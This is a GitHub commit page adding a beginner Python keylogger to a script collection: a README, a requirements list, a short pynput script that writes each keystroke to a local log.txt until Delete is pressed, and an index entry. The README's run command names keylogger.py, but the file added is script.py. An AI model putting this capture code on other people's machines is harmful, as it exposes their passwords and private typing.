Skip to content

Commit 18fee78

Browse files
authored
Merge pull request hastagAB#79 from preetmishra/master
Add Keylogger project
2 parents 49cb1e6 + 38abc6d commit 18fee78

File tree

4 files changed

+63
-0
lines changed

4 files changed

+63
-0
lines changed

Keylogger/README.md

Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
# Keylogger
2+
A script written in Python that logs your input from the keyboard.
3+
4+
5+
### Steps to run this on terminal
6+
7+
- Clone the project.
8+
- Install the dependencies listed in requirements.txt.
9+
- Run `python keylogger.py` in your terminal.
10+
11+
12+
### PS
13+
14+
- You can use Delete key to exit the script.
15+
- You can open log.txt to view your log.
16+
17+
18+
### Author
19+
20+
**[Preet Mishra](https://www.github.com/preetmishra)**

Keylogger/requirements.txt

Lines changed: 13 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,13 @@
1+
astroid==2.1.0
2+
autopep8==1.4.3
3+
certifi==2019.9.11
4+
colorama==0.4.1
5+
isort==4.3.4
6+
lazy-object-proxy==1.3.1
7+
mccabe==0.6.1
8+
pycodestyle==2.4.0
9+
pylint==2.2.2
10+
pynput==1.4.4
11+
six==1.12.0
12+
wincertstore==0.2
13+
wrapt==1.10.11

Keylogger/script.py

Lines changed: 29 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,29 @@
1+
import pynput
2+
from pynput.keyboard import Key, Listener
3+
4+
5+
keys = []
6+
7+
8+
def on_press(key):
9+
keys.append(key)
10+
write_file(keys)
11+
12+
13+
def write_file(keys):
14+
with open('log.txt', 'w') as f:
15+
for key in keys:
16+
#removing ''
17+
k = str(key).replace("'", "")
18+
f.write(k)
19+
#explicitly adding a space after every keystroke for readability
20+
f.write(' ')
21+
22+
23+
def on_release(key):
24+
if key == Key.delete:
25+
return False
26+
27+
28+
with Listener(on_press = on_press, on_release = on_release) as listener:
29+
listener.join()

README.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -36,6 +36,7 @@ So far, the following projects have been integrated to this repo:
3636
|[Image circle formatter](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/Image-Circulator) |[Berk Gureken](https://github.com/bureken) |
3737
|[Image To PDF](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/images2pdf)|[msaoudallah](https://github.com/msaoudallah)|
3838
|[Instadp Web Scrapper](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/InstadpShower)|[Psychiquest](https://github.com/psychiquest)|
39+
|[Keylogger](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/Keylogger) |[Preet Mishra](https://github.com/preetmishra) |
3940
|[Minecraft Server in background](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/Minecraft_server_in_background)|[Max von Forell](https://github.com/mvforell)|
4041
|[Own IP locator](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/Location_Of_Own_IP_Adress)|[Chris]()|
4142
|[Port Scanner](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/Port_Scanner)|[Plutoberth](https://github.com/Plutoberth)|

0 commit comments

Comments
 (0)